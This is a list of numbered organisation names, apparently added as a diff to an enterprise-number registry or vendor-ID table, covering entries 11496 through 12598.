+11496 foo.cz
+11497 Gamerz.NET Enterprises
+11498 HCCnet B.V.
+11499 Hollmann Consulting Services
+11500 Infrant Technology Inc.
+11501 IngmarNet
+11502 ITU
+11503 METRAWARE
+11504 NDSL, Inc.
+11505 Network-1 Security Solutions, Inc.
+11506 Unassigned (Removed 2002-05-02)
+11507 ProBusiness
+11508 School of Banking and Management in Cracow
+11509 Schweizer Electronic AG
+11510 Service Intelligence
+11511 Southern Illinois University School of Medicine
+11512 St. Joseph's College
+11513 Strele Informatik
+11514 Chris Abernethy
+11515 SUB1 S.A.
+11516 The Academy of Sciences of the Czech Republic
+11517 Trivadis AG
+11518 T-Soft Ltd.
+11519 VET
+11520 Visilinx, Inc.
+11521 Broadcast Music Incorporated
+11522 LINXTEK
+11523 Fujitsu Laboratories of America, Inc.
+11524 Ch5 Finland Oy
+11525 brain://on AG
+11526 GIRO LTD
+11527 Bromax Communications, Inc.
+11528 DVBern AG
+11529 KOGA ELECTRONICS CO.
+11530 3G - NetWorks
+11531 aha-systems
+11532 Bond University
+11533 Chiba Industries
+11534 coaXmedia
+11535 COGITIS
+11536 Cyber-Ark
+11537 Dirección General de la Policía
+11538 Elata Ltd.
+11539 Essent Kabelcom
+11540 ETIT
+11541 Fugu Angst Productions
+11542 GuangZhou GaoKe Communication Equipment Co., Ltd.
+11543 Internet Northwest
+11544 Kunsthochschule Fuer Medien
+11545 Kurtev Intergalactic
+11546 METRAWARE
+11547 Mpower Communications Corporation
+11548 NABLA2 s.r.l.
+11549 NETOUS TECHNOLOGIES Ltd.
+11550 NETPIA SYSTEMS Co.,LTD
+11551 Orca Orcinus, Inc.
+11552 page87
+11553 Planet Technologies NV
+11554 Pomcor
+11555 Rider University
+11556 Robert Burrell Donkin
+11557 S&CI
+11558 SOFICE
+11559 SoftGame International Pty. Ltd.
+11560 Tantia Technologies Inc.
+11561 Topcon Positioning Systems, Inc.
+11562 VE2UG
+11563 Ahnlab, Inc
+11564 CiteItWrite
+11565 Instituto Nacional de Estatística - PORTUGAL
+11566 Prologue Software
+11567 DeltaLoyd Deutschland
+11568 bmbwk
+11569 handy.de Vertriebs GmbH
+11570 Mages Touch
+11571 NTI Studio's
+11572 Rasvia Systems, Inc.
+11573 rockus.at
+11574 Seven-Winds
+11575 Solution Design Laboratory
+11576 Sunnycal Inc.
+11577 Global System Services
+11578 AirZip, Inc.
+11579 Amadeus Data Processing GmbH
+11580 Amdocs
+11581 bylinux.net
+11582 C&I Technologies
+11583 Cayenta, Inc.
+11584 CLASS AG
+11585 ColoradoBiz.net
+11586 DLR e.V.
+11587 epictet AG
+11588 ERA a.s.
+11589 Exsior Data & Information Tech. Inc.
+11590 Fortech Ltd.
+11591 Free Software Foundation
+11592 HANGZHOUSUNYARD INFORMATION ENGINEERING CO.,LTD
+11593 IMISE
+11594 LDCOM Networks
+11595 Lightmaze AG
+11596 Mediakabel
+11597 MFB-Multa spol. s r.o.
+11598 MGIC - Mortgage Guaranty Insurance Corp
+11599 mille21
+11600 Neogration Inc.
+11601 Netaxs Internet Services
+11602 New York State Office of the State Comptroller
+11603 Nexxient Communications
+11604 NorduGrid
+11605 Optical Wireless Link Inc.
+11606 Pacific Broadbank Networks
+11607 Plumtree Software
+11608 Pracom Pty Ltd
+11609 PUSANWEB Ltd
+11610 Sandvine Incorporated
+11611 Secretaria da Fazenda do Estado de Sp
+11612 STT s.r.l.
+11613 Vortex Ltd
+11614 vrwg
+11615 Webaronet Technology
+11616 WebPerform Group Ltd
+11617 Cablevision Systems Holdings
+11618 SOLTECH CO., Ltd.
+11619 PTC Solutions Ltd
+11620 PACE Anti-Piracy
+11621 Agrotecnica Arpa scrl
+11622 3PARData
+11623 Aegis Software
+11624 Bit-Lab PTY LTD
+11625 Black Bear Software, LLC
+11626 Combol GmbH
+11627 David Pitts
+11628 EDIPORT Telecommunication Ltd.
+11629 Educational Service Unit #2
+11630 eircomnet
+11631 EnablingTrust LLC
+11632 e-Sec Tecnologia em Seguranca de Dados LTDA
+11633 Europop AG
+11634 Exempla
+11635 Fiorano Software Inc.
+11636 Focal Point Software, Inc.
+11637 Generatio GmbH
+11638 Grapes Network Services
+11639 Intersys Uruguay Ltda
+11640 Miritek, Inc.
+11641 NETOVA
+11642 Nextra Ensure (UK)
+11643 One Stop Consulting, Inc.
+11644 Orbism Consulting
+11645 Pentalog Inet
+11646 PentaMedia Co., Ltd.
+11647 Planetasia Ltd.,
+11648 RemoteSite Technologies Inc.
+11649 Ross Stores, Inc.
+11650 Schnedermann Software-Consulting GmbH
+11651 SideSpace
+11652 Sonoma State University
+11653 Stack Computer Solutions
+11654 Strott Network Solutions
+11655 SY.O. srl
+11656 Synapse Systems AB
+11657 Taiwan Telecommunication Network Services Co., Ltd.
+11658 Universite Blaise PASCAL
+11659 Virtual Security Research
+11660 VMS Limited
+11661 Wahoo International Enterprise Co., Ltd.
+11662 Marcel Ruff
+11663 +X Altaïr Toulouse
+11664 base2
+11665 dacom
+11666 Institute of Communications Engineering - University of Hanover
+11667 New York State Education Department
+11668 WRLucas
+11669 Milhouse Technologies USA
+11770 China Sanjiang Space Group
+11771 81 Broad Street
+11772 Adrock Software
+11773 AGMODEL, NARC, JAPAN
+11774 ASYK S.A.
+11775 Atchik
+11776 AviBit data processing GmbH
+11777 Ayman LLC.
+11778 BlueBridge Technologies AG
+11779 Casedev Active Oy
+11780 CBIM
+11781 celtro
+11782 Charles Industries, LTD
+11783 Canon Software Information Systems Inc.
+11784 Credant Technologies
+11785 Critical Integration Ltd
+11786 Daisy Software
+11787 Datagate d.o.o.
+11788 fluxx.com e-commerce GmbH
+11789 ForeScout Technologies, Inc.
+11790 GateWay Community College
+11791 Giesecke and Devrient
+11792 Grant County PUD
+11793 IBM Slovakia (test)
+11794 Incentive Technologies, Inc.
+11795 Infoglobe
+11796 InnoviData GmbH
+11797 Kaboom Enterprises
+11798 Lateral Sands Pty Ltd
+11799 Latis Networks, Inc
+11800 Logosoft
+11801 MPSV
+11802 Northwest Airlines, Inc.
+11803 Ohlone Community College
+11804 PCS
+11805 Plexus
+11806 Antonveneta ABN AMRO Bank
+11807 SamuelBalle.com
+11808 Sifry Consulting
+11809 Skobeltsyn Institute of Nuclesr Physics, Moscow State University
+11810 Solesys SA
+11811 Spaces, Inc.
+11812 TDC Internet A/S
+11813 TMT Ltd.
+11814 University of Nantes
+11815 Yellow Online Inc.
+11816 yuantong technology
+11817 Zentrale Informatik, Universitaet Zuerich
+11818 Z-Star Microelectronics Corporation
+11819 ZX Factory
+11820 Fonterra Co-operative Group
+11821 Jet Infosystems
+11822 SPSU Selinux-LDAP Team
+11823 WSMicroSystems Inc.
+11824 Computer & Technologies International Ltd
+11825 Daji Workshop
+11826 Sistemas Tecnicos de Enseñanza Consultores
+11827 ACUMEN ADVANCED TECHNOLOGIES Inc.
+11828 Coast Mountains School District
+11829 Corvil Networks
+11830 F'Arty Crafts Pty Ltd
+11831 Interactive Transaction Services, Inc.
+11832 Joerg Preuss
+11833 nCircle Network Security
+11834 PLIVA d.d
+11835 StreamServe, Inc.
+11836 Swiss National Bank
+11837 Telenor Mobile Communications
+11838 Vistaar
+11839 WebWayOne Ltd
+11840 YR CONSEIL
+11841 Aaltonen & Vuorela
+11842 Anchora
+11843 Argus Systems Group, Inc
+11844 Beijing Super Channel Network Limited
+11845 Blueair Networks
+11846 CITAP
+11847 Himnebaugh Consulting, Inc.
+11848 INLINE Corporation
+11849 Janus Technologies
+11850 Native Names Corporation
+11851 NetEconomist
+11852 New Productivity Initiative Inc
+11853 Public Service Company of New Mexico
+11854 Healthvision (formerly 'Quovadx, Inc.')
+11855 Retirement By Design
+11856 TNT Logistics North America
+11857 Transmode Systems AB
+11858 UANGEL
+11859 WorldChain Inc.
+11860 wossname.org.uk
+11861 Codenet
+11862 Columbia University in the City of New York
+11863 TP-Link Corporation Limited.
+11864 Böke and Walterfang Electronic Systems Ltd
+11865 Explo-IT Research
+11866 GDTTI
+11867 Loop Treinamento em Inform
+11868 Placenet
+11869 Roman Zielinski Metod och systemutveckling
+11870 Sandhills Community College
+11871 SpaceNet AG
+11872 Systemy Mikroprocesorowe
+11873 Yolke Corporation
+11874 Scopus Tecnologia S. A.
+11875 Biomet Merck BV
+11876 Siteseers Inc.
+11877 3UP Systems
+11878 Achilles Guard, Inc d.b.a Critical Watch
+11879 Castel et Fromaget
+11880 Custom Business Link, Inc.
+11881 FiberSpans Corporation
+11882 geschke internet consulting
+11883 Ignite Communications
+11884 Indeed - Visual Concepts GmbH
+11885 MMC Technology
+11886 Nextcard, Inc.
+11887 PSS Systems Inc
+11888 Teamlog External
+11889 The Answer Group, L.L.C.
+11890 The Nog Network
+11891 Unified Communications Pte Ltd
+11892 Vodafone Global Platform & Internet Services
+11893 The Pep Boys - Manny, Moe & Jack
+11894 Integrity Solutions, Inc
+11895 Globalnet
+11896 3G Lab
+11897 Acantho
+11898 Agere Systems, Inc.
+11899 Bitfone Corporation
+11900 BlueSoft
+11901 Bonndata GmbH
+11902 Cartel Communication Systems Inc
+11903 Case Western Reserve University
+11904 CirqueDigital, LLC
+11905 Icom Inc
+11906 IF DRAUDIMAS
+11907 ImaginaryRealities
+11908 Instituto Cubano de Radio y Television
+11909 Log On America, Inc.
+11910 Michael Roettig Consulting
+11911 Unassigned
+11912 NetMotion Wireless Inc.
+11913 netsys.com
+11914 National Information Infrastructure Development Institute
+11915 Oldring & Associates, Inc.
+11916 Pablix
+11917 PAR3 Communications
+11918 PRAJA inc
+11919 QCOM, Inc.
+11920 quantumBEAM Ltd.
+11921 Ruprecht & Partner OEG
+11922 SD Inc.
+11923 Spectrum Control, Inc.
+11924 Techsystem Technologies
+11925 The IQ Group, Inc.
+11926 The United World Colleges (international)
+11927 Tytrast Systems Inc.
+11928 Indievisible
+11929 Veridicom
+11930 Vseobecná úverová banka, a.s.
+11931 Staten Island University Hospital
+11932 The Wolf Group
+11933 University of Alberta
+11934 Stadtsparkasse Köln
+11935 Josuya Technology Corporation
+11936 Amadeus NMC Holding, Inc.
+11937 ArcSight, Inc.
+11938 Cominet
+11939 Electronic Direct, Inc.
+11940 Medical Coding and Compliance Solutions, L.L.C.
+11941 Mssu
+11942 Muhen Software
+11943 Net Partnets Sp. z o.o.
+11944 Paulmichl NetWork's
+11945 q-station.net
+11946 Quanta Network Systems Inc.
+11947 Stowarzyszenie FREEZE NET ASK
+11948 Syracuse University
+11949 Ukrsotsbank
+11950 VivoCom Inc.
+11951 VTechnologies Sàrl
+11952 Zeta Broadband Inc
+11953 ZUMtOBEL AG
+11954 Elegant solutions consulting Inc.
+11955 BeiJing NetPower TECHNOLOGIES Inc.
+11956 Mobigen Co., Ltd.
+11957 ITC
+11958 Premonitia, Inc
+11959 Coyote Rock
+11960 Downlode Media
+11961 LARC-USP
+11962 Nevala
+11963 Propel
+11964 Technical Chamber of Greece
+11965 Thomas Monitor Systems
+11966 Alstom Power Sweden AB
+11967 MLP AG
+11968 SymLABS
+11969 Systech Retail Systems Inc.
+11970 Watch4Net Solutions
+11971 Peter-Service Ltd.
+11972 TAIS, Inc.
+11973 North Central Collge
+11974 alpha-CNS GmbH
+11975 ALPHA SYSTEMS
+11976 AT&T Labs Intelligent Network Analysis
+11977 Backwoods Communications, LLC
+11978 Boxcar Media
+11979 BrainStorm Business Resources, Inc.
+11980 Bravenet Web Services, Inc
+11981 CAC Ltd
+11982 chiz.net
+11983 CollectiveBid Systems Inc.
+11984 Content Management AG
+11985 Conysis S.A.
+11986 CreekPath Systems
+11987 Dakos data & communication co., Ltd.
+11988 diCarta Inc.
+11989 DME Corporation
+11990 gadgeteer.org
+11991 Greenpeace
+11992 HeliXense Pte Ltd
+11993 Hilbert Computing, Inc.
+11994 Hubert Krause
+11995 Hybrid Solutions, Inc.
+11996 IBSN
+11997 iKnowTheAnswer.com
+11998 JSC Desarrollos y Aplicaciones
+11999 KFKI Systems
+12000 Ki Consulting & Solutions AB
+12001 Lakefield Telecom, Inc.
+12002 Lemur Networks, Inc.
+12003 luna8 Ltd.
+12004 MCK Advance Technologies
+12005 MediaGS, Ltd.
+12006 N.C.H. spa Network Computer House
+12007 NAMS
+12008 Pacher
+12009 Regenstrief Institute for Health Care
+12010 Schnackelchen
+12011 SEAGULL
+12012 Seoul National University of Technology
+12013 Softworks Group Inc.
+12014 Studio of Arts And Sciences
+12015 TGA Technologies, Inc.
+12016 CY Cergy Paris Université
+12017 VeratNET
+12018 Vivanet Inc.
+12019 waterford.org
+12020 Webware Technologies Pvt. Ltd.
+12021 Wesley WorldWide Solutions, Inc
+12022 BRECIS Communications
+12023 Unassigned
+12024 Miraesys Co., Ltd
+12025 C-EISA
+12026 Proactive Java Consultancy LLP
+12027 AccelaNET
+12028 AirWave Wireless, Inc.
+12029 Altawave Inc.
+12030 ANAM Wireless Internet Solutions
+12031 BitStream Logic, Inc
+12032 Booz Allen Hamilton
+12033 Checkmate Management
+12034 Czech Certification Authority s.r.o.
+12035 EBJ Consulting
+12036 École normale supérieure - Paris
+12037 Euronet Worldwide, Inc.
+12038 everyhost.com
+12039 Exalead S.A.
+12040 gull house
+12041 HTL Braunau
+12042 Infosys Corporation
+12043 Jasmap Inc.
+12044 Lakesoft Consulting & ISP
+12045 Medfusion, Inc
+12046 Metro Information Concepts as
+12047 Meylan Consulting
+12048 Millennium Microwave Corporation
+12049 NetPlanetEarth
+12050 Ohman IT Consult
+12051 Onix Electronic Systems, LLC
+12052 RCN Telecom
+12053 Skjaerlund Software
+12054 Special Applied Intelligence Corporation
+12055 SUDAC
+12056 Tadiran Communications
+12057 TE Data
+12058 The YAK Corporation
+12059 Digital Appliance Corp.
+12060 TruePosition, Inc.
+12061 University of Western Ontario
+12062 User Interface Technologies Ltd.
+12063 VeriCell, Inc.
+12064 Zurich Scudder Investments, Inc
+12065 APATON
+12066 Daedalus Networks
+12067 Pajo Networks
+12068 Wroc³aw Centre of Networking and Supercomputing
+12069 Corpex Internet GmbH
+12070 WARCO
+12071 @Home Japan Co., Ltd.
+12072 Acrowave Systems Co., Ltd
+12073 Aer Novo
+12074 Alison Associates
+12075 beckhaus consulting
+12076 Bonware
+12077 Broadmind Research Corporation
+12078 Circle24 Technologies
+12079 dotmaudot
+12080 e-peopleserve
+12081 Estic & Partners bv
+12082 European Computer Telecoms AG
+12083 Getronics Solutions Italia S.p.A.
+12084 HighDeal
+12085 KR Consulting
+12086 MKAPIUM
+12087 netdirectory.org
+12088 Newdreamnet Co. Ltd.
+12089 o3sis Infomation Technology AG
+12090 RCS (formerly 'Prophet Systems')
+12091 Real FS Inc.
+12092 Rotech Healthcare Inc.
+12093 Severoceska energetika, a.s.
+12094 Supélec Campus de Metz
+12095 Telenor Satellite Broadcasting
+12096 Telic Communications, Inc.
+12097 UZA - Universitair Ziekenhuis Antwerpen
+12098 VooDoo X Solutions
+12099 Woollen Services
+12100 XecureNexus
+12101 YCOM SA
+12102 Airport Authority Hong Kong
+12103 4Tier Software
+12104 Asis Ltd.
+12105 BISC
+12106 BIPOP-CARIRE spa
+12107 Caw Networks
+12108 Concordant
+12109 IT Service Omikron GmbH
+12110 Lifeway Christian resources
+12111 Mark Schnur Consulting
+12112 NORSYS
+12113 Zox, Inc.
+12114 noris network AG
+12115 Philips MP4Net
+12116 Advanced Reality
+12117 Atmel Nantes
+12118 Centrata Inc.
+12119 City of Mesquite Texas
+12120 Defense Supply center Richmond (DSCR)
+12121 Fastnet Communications
+12122 Henny Penny Corp.
+12123 iProcess Solutions
+12124 Isilon Ststems
+12125 Mediavirtuel
+12126 Mirafor Associates Oy
+12127 Rambold
+12128 RoDoGu Consulting
+12129 Safeweb Ltda
+12130 SciQuest, Inc
+12131 Siegfried Holding AG
+12132 Simutronics Corporation
+12133 Talking Blocks, Inc.
+12134 Tradetrans Inc
+12135 Unique Broadbank Systems
+12136 Universidad Nacional de San Luis
+12137 Universite de Paris-Sorbonne Paris IV
+12138 Laboratório de Sistemas Distribuídos /CEFET-PR
+12139 Iowa Outdoors
+12140 ALCOMA, Ltd
+12141 Aloes
+12142 bob corbett networks
+12143 Chrono-Logic
+12144 Consumer Contact
+12145 Core Integrated Tecnologies, Ltd.
+12146 SFT-Service (formerly 'Dialog.SFT-Service')
+12147 Die Weltregierung
+12148 ELTEK Energy AS
+12149 Enalur S.A.
+12150 Finmatica S.p.A.
+12151 Fyrplus AB
+12152 Guru Labs, L.C.
+12153 HPCinteractive
+12154 IKEA IT AB
+12155 Innovay Inc.
+12156 JOINT-STOCK COMPANY"STC CONTACT"
+12157 KC Micro Specialists, Inc.
+12158 Mikros Kosmos
+12159 M-TEC N.V.
+12160 NetCommplete Pty Lyd
+12161 New World Telephone Ltd
+12162 Orsus Solutions
+12163 Quebeber.com
+12164 Ringling School of Art and Design
+12165 SANTIN E ASSOCIATI SRL
+12166 ScanPlus GmbH
+12167 Sequitur Systems
+12168 server2000 internet technology gmbh
+12169 SHENZHEN MODERN COMPUTER MANUFACTER Co.,Ltd
+12170 SZCOM Broadband Network Technology Co.,Ltd
+12171 Tony Bibbs
+12172 Transparent Systems
+12173 UNICC
+12174 Consolidated Freightways
+12175 Frontier Internet, Inc.
+12176 Canon IT Solutions Inc. (formerly 'Sumitomo Metal System Solutions Co.,Ltd')
+12177 Henkel AG & Co. KGaA
+12178 3va.net
+12179 Alacris Inc.
+12180 ALI Technologies Inc
+12181 Allegheny Energy Global Markets
+12182 Airbus Space and Defence (formerly 'Astrium (UK)')
+12183 Baldwin Hackett & Meeks, Inc.
+12184 Bamsco
+12185 Ben Nederland BV
+12186 Compagnon AG
+12187 Direct Solutions
+12188 GBase Communications
+12189 Holoplex Technologies, Inc.
+12190 in medias res
+12191 Ins-sure Services Limited
+12192 Iron Hill Technology
+12193 Leapstone Systems, Inc
+12194 MSS Communications Design GmbH
+12195 Noicom S.p.A.
+12196 one4net GmbH
+12197 ProvisionSoft
+12198 RINET
+12199 SAGE SRL
+12200 Seneca Groep B.V.
+12201 University Health Network
+12202 UP3I
+12203 VTT Information Technology
+12204 DevonIT
+12205 Allianz Ireland PLC
+12206 QinetiQ Ltd
+12207 Acme Solutions
+12208 actina AG
+12209 ASTOR-PROMOCJA Poland
+12210 Bauer Verlagsgruppe
+12211 Biogem
+12212 BlueHaven Services Ltd
+12213 CAMIS Inc.
+12214 Covenant Retirement Communities
+12215 CUETS
+12216 DGT-LAB
+12217 Ecole Polytechnique de Montreal
+12218 Glückert, Machelett & Partner
+12219 Hamilton and Sullivan, Ltd.
+12220 Institute of Environment and Development
+12221 ITWM
+12222 Kawatetsu Systems, Inc.
+12223 Kinetics Fluid Systems
+12224 Knightnet
+12225 Korea Embedded Linux Laboratory
+12226 Max-Planck-Institut fuer Festkoerperforschung
+12227 Naumen
+12228 Niedermayer Systems
+12229 Nirvana Research
+12230 odahoda.de
+12231 OpenAdvice IT Services GmbH
+12232 Order N Ltd.
+12233 OZ Communications, Inc.
+12234 ProGuy.dk
+12235 Roanoke College
+12236 Sena Technologies, Inc.
+12237 SILOGIX
+12238 Spumoni
+12239 Symsoft AB
+12240 System Solutions
+12241 Szkola Glowna Handlowa
+12242 teamnet GmbH
+12243 Vislink PLC
+12244 Celestica Corporation
+12245 Elvin
+12246 Scottish Qualifications Authority
+12247 IDP
+12248 Availix SA
+12249 Escola Universitaria Politècnica de Manresa
+12250 Alosys SpA
+12251 Avalon Net Ltd
+12252 BAKU Construction office
+12253 CN Solutions, LLC
+12254 Compubahn, Inc
+12255 Connecticut Telephone
+12256 Covere
+12257 Escosoft Technologies
+12258 European Technology Consultants
+12259 Forum des Images
+12260 Global Telecom, Inc.
+12261 GlobalCenter
+12262 Gnosys S.A.R.L
+12263 HDFCBANK
+12264 Imagine-IT
+12265 Indraweb
+12266 ircd
+12267 Johns Hopkins Applied Physics Laboratory
+12268 Liberty Communication Services, Inc.
+12269 Maybaum
+12270 Novar
+12271 Pruthvi Soft
+12272 Sacred Bytes
+12273 State of Minnesota
+12274 Universite Joseph Fourier - Grenoble 1
+12275 University of Southampton
+12276 F5 Networks Inc
+12277 VarySys Technologies GmbH & Co. KG
+12278 VTX Technologie
+12279 Warp Link GmbH
+12280 Western Institute of technology at Taranaki
+12281 Yumemi, Inc.
+12282 Crew Co.,Ltd
+12283 PLANET internet commerce GmbH
+12284 IMAX NETWORKS (SHENZHEN) Ltd.
+12285 Acclamation Systems, Inc
+12286 Issaqua
+12287 Globecomm Systems, Inc.
+12288 Andern Research Labs
+12289 Beeweeb Srl
+12290 Celestica International Inc.
+12291 Cellular Specialties, Inc.
+12292 cindercat
+12293 Digital Insight
+12294 Emblaze Systems
+12295 ERCIST
+12296 IDDEX Corp
+12297 Independent Storage Corporation
+12298 kinge & Co limited
+12299 KTG, Inc.
+12300 Mennonite.net
+12301 Mountain Visions P/L
+12302 netikos spa
+12303 New Bridges
+12304 Next Advisors
+12305 PetraSync Inc.
+12306 PreWorkX (Pty) Ltd.
+12307 Red Wagon Solutions Incorporated
+12308 SecLab
+12309 self-indulgence.org
+12310 Simple Access Inc.
+12311 Strategic Service Alliance
+12312 Taika Technologies, Ltd
+12313 Tattersalls
+12314 Universidade Federal de Campina Grande
+12315 WorldWithoutWire.com
+12316 Chuo Electroplaters' Cooperative Asscosiation
+12317 GL-Trade
+12318 Loomis Chaffee School
+12319 HEIWAKOGYO
+12320 Aspen Systems, Inc.
+12321 Bure Equity
+12322 Delta Information & Communication
+12323 Department of Computer Science, Indiana University
+12324 Deutsche Lebens-Rettungs-Gesellschaft e.V.
+12325 Fraunhofer FOKUS
+12326 Hermes Precisa Australia
+12327 kjsanders professional consulting engineers
+12328 LawsIT Pty Ltd
+12329 Panasonic OWL
+12330 plan42 gmbh
+12331 Presto Pty Ltd
+12332 Primus Telecommunications Group, Inc.
+12333 TE / TM-tiimi
+12334 universal communication platform gmbh
+12335 University of York
+12336 BuyWays
+12337 Broad band network center of Tsinghua University
+12338 Netcore Network Technology
+12339 Empowered Networks
+12340 Net Facilities Group
+12341 NOVOMODO Inc.
+12342 Pivia, Inc.
+12343 SK Access Devices
+12344 Teros
+12345 VWB Group
+12346 Hagero
+12347 Amalgamated Systems, LLC
+12348 American Radio Relay League
+12349 AT Consultancy
+12350 ATMEL Hellas, S.A.n
+12351 Barking Cow
+12352 Central Data Services
+12353 Clariden Bank
+12354 Colbourn Associates Ltd
+12355 CTI PET Systems, Inc
+12356 Fortinet, Inc.
+12357 Generic Media, Inc.
+12358 Imagemedical
+12359 Indigo Tango Ltd.
+12360 Instituto Español de Informática y Derecho
+12361 KGEx.com Co., Ltd
+12362 Lombard Odier & Cie
+12363 net-labs Systemhaus GmbH
+12364 Newbreak LLC
+12365 NTT COMWARE CORPORATION
+12366 Pharmacia Corporation
+12367 QUICK Corp.
+12368 Raesemann Enterprises, Inc.
+12369 Röhrs Stahl- und Metallbau GmbH & Co.KG
+12370 SARD Communications Ltd.
+12371 Scrutiny, Inc.
+12372 TeraCloud Corporation
+12373 Tetrapod Communications, Inc.
+12374 Texas State Credit Company
+12375 Universal Access, Inc.
+12376 University of Technology Dresden, Department of Computer Science
+12377 Vivendi Telecom Hungary
+12378 WellThot Inc.
+12379 Wingra Technologies
+12380 WiWo Support
+12381 Worldcom Asia Pacific
+12382 UNIHUB GLOBAL NETWORK
+12383 Chrysalis-ITS
+12384 Commissariat a l'Energie Atomique
+12385 Common Voices
+12386 InteQ Corporation
+12387 IPDirections
+12388 JustThe.net LLC
+12389 MacsDesign Studio
+12390 Microcell Telecommunications Inc.
+12391 Universiteit Utrecht
+12392 Welcat Inc.
+12393 Active Hotels
+12394 Alvarion Ltd.
+12395 Centro de Informatica da Universidade de Coimbra
+12396 Cintech Solutions
+12397 Gesellschaft fuer Raumbildsysteme mbH
+12398 E. O. Ospedali Galliera
+12399 FIX Express Corp.
+12400 Gatea Ltd.
+12401 Germinus Solutions
+12402 IDLSPM
+12403 Imedia Semiconductor Corp.
+12404 Indianguide.com
+12405 Matrics Inc.
+12406 Medinet IDG S.A.
+12407 NiceShipping Technology Corporation
+12408 Noordelijke Hogeschool Leeuwarden
+12409 Objectivity, Inc.
+12410 OPS
+12411 Plasmedia
+12412 Portbridge Internet
+12413 Radio Frequency Systems
+12414 SCRYPTO Systems
+12415 SinnerSchrader AG
+12416 Summit Place Ales
+12417 Tata Infotech Limited
+12418 THALES
+12419 YAMAHA CORPORATION
+12420 Yokogawa Blue Star india Ltd
+12421 JWAY GROUP, Inc.
+12422 The Co-operators
+12423 Concord Telephone Company
+12424 Congregation of the Sacred Hearts
+12425 ConLingual
+12426 E-Control Systems
+12427 Equinox Engineering Ltd.
+12428 Genie Information Co.
+12429 Interact, Inc.Software Systems
+12430 I-Silver
+12431 iXus Technologiedienstleistungen GmbH
+12432 Jippi Group Oyj
+12433 John Sheahan & co.
+12434 Knox College
+12435 M2 Systems Corporation
+12436 Navosha, Inc.
+12437 Next Level Design, Inc.
+12438 Paradigm.One Pty Ltd
+12439 Ritzlmayr Consulting
+12440 Securenet Ltd
+12441 SELECTED HOSTING
+12442 TechGemini Inc
+12443 www.TrafficShaper.com
+12444 Mangolution, Inc.
+12445 Teradyne
+12446 UNPHU
+12447 yc consultant
+12448 7TH VISION BILLING COMPANY
+12449 Audiofon Chat & Play GmbH
+12450 Australian Department of Employment and Workplace Relations
+12451 Communication Concept GmbH
+12452 IntraConnect GmbH
+12453 Alaska Power & Telephone
+12454 Aria Solutions Inc
+12455 CaCo
+12456 CertiSur S.A.
+12457 Chunghwa Telecom Laboratories
+12458 Dickinson Ventures, Inc. (formerly 'GranIT Solutions, LLC')
+12459 Global Name Registry Limited
+12460 ISG Consultoria e Informatica
+12461 Jamm
+12462 Linuxfabrik GmbH
+12463 Mendosus
+12464 MicroDowell SpA
+12465 MyKitchenTable.net
+12466 Netfective Technology
+12467 OneSecure, Inc.
+12468 Pixion Inc
+12469 QAC - Quality Assurance Consult Ltda
+12470 Rechberger
+12471 Rocket Software, Inc
+12472 ScapeVision AG
+12473 UNILANG
+12474 WAC
+12475 Webmotion Inc.
+12476 Carmody Consulting, Inc.
+12477 Christian Michelsen Research AS
+12478 Maryland Department of Transportation
+12479 OpenDNS Corp
+12480 Allied Worldwide
+12481 Altrick
+12482 Departmento Técnico
+12483 Ebel
+12484 Binary Solutions
+12485 WUMAG GmbH Werk Ebersbach
+12486 Access Grid
+12487 Adam Communication Systems International
+12488 Ankor Systems
+12489 Arizona Mail Order Co., Inc
+12490 B.Eckstein Systems
+12491 BondDesk
+12492 Cameron Net
+12493 eList eXpress LLC
+12494 enigmatec GmbH
+12495 Eskata Systems, Inc.
+12496 goSBC
+12497 Holborn Colleg
+12498 Infofiend
+12499 IPB
+12500 ISRO Satellite Centre
+12501 KeysoftEnterllect
+12502 METZEMIX
+12503 MYUGLYFACE COMPUTING
+12504 Onlight
+12505 Photonic Bridges Inc.
+12506 Pinpoint Networks, Inc.
+12507 PROFIS SA
+12508 Scardine & Lopes Ltda
+12509 SecureONE
+12510 Slackworks
+12511 Telesudeste Celular
+12512 University of Utah College of Mines & Earth Sciences
+12513 XiteMedia I.S. V.O.F.
+12514 Abbott Laboratories
+12515 ORGA Kartensysteme GmbH
+12516 ARL HomeCommunications Sdn Bhd
+12517 MAN Nutzfahrzeuge AG
+12518 University of Mainz
+12519 Activa3
+12520 ASYRES
+12521 Avacue Ltd
+12522 California State University, San Bernardino
+12523 Credit Union Central of Manitoba
+12524 D.I.B.
+12525 Echostar Solutions
+12526 Groupe Eyrolles
+12527 HOPF Elektronik GmbH
+12528 PureSight Ltd
+12529 IDG Communications Ltd
+12530 Informatikdienste, ETH Zuerich
+12531 James K. Fegan Consulting
+12532 Neoteris, Inc.
+12533 NOX CO.,LTD
+12534 NZPhone S/A
+12535 Schmidt & Co. (HK) Ltd.
+12536 SIMSAM Consulting Limited
+12537 Spider Eye Studios
+12538 Telkom
+12539 The Palantir Corporation
+12540 T-Systems International
+12541 Universidad de Carabobo
+12542 UNIZETO Sp. z o.o.
+12543 Virgil BV
+12544 AEGON Nederland N.V.
+12545 is Industrial Services AG
+12546 VerySmartPeople Inc
+12547 Principle Inc.
+12548 HSH Nordbank AG
+12549 Air Navigation Services (ANS) of the Czech Republic
+12550 Association for Multidiscipline Education in the Health Sciences
+12551 CE+T
+12552 Corporation of Balcultha
+12553 Dispuut Meteoor
+12554 Ecclesias.net
+12555 Eduro Technologies, Inc.
+12556 EmSol LLC
+12557 GuruMeditations.org
+12558 icoserve information technologies GmbH.
+12559 INRIA
+12560 InterEpoch Technology, Inc.
+12561 Khonraad Systems Engineering BV
+12562 Marcom Department Shanghai Mitac Research Co. Ltd.
+12563 megatel GmbH
+12564 Natverket
+12565 Navaho Networks Inc
+12566 NIKoil Investment Banking Group (joint stock bank)
+12567 One5 Corporation
+12568 Ranger Computers
+12569 Rigel Corporation
+12570 S.I.C.E. s.r.l.
+12571 Symnetics Holdings
+12572 TCD Enterprise, Inc.
+12573 Telonor Business Solutions
+12574 TMH The Marilyn House srl
+12575 UIC
+12576 Unidirect
+12577 Unique Interactive
+12578 Viola Systems
+12579 ZIGZAG Internet Service Provider
+12580 ZIRION NETWORKS, Inc.
+12581 Naruhodo Solutions
+12582 Primerica Financial Services
+12583 University of California, Irvine Information and Computer Science Department
+12584 Butler
+12585 Alstom Holdings
+12586 Manono Software, Inc. (formerly 'ApiaTech Information Technologies, Inc.')
+12587 430am
+12588 Blueice Research AB
+12589 Celestial Software LLC
+12590 Changi International Airport Services Pte Ltd
+12591 Corus group plc.
+12592 Dycec
+12593 EKL Solutions LLC
+12594 Elma Ingenierie Informatique
+12595 EMS Enterprise Messaging Solutions GmbH
+12596 JOUVE S.A.
+12597 Lightwave Communications
+12598 Net Vista
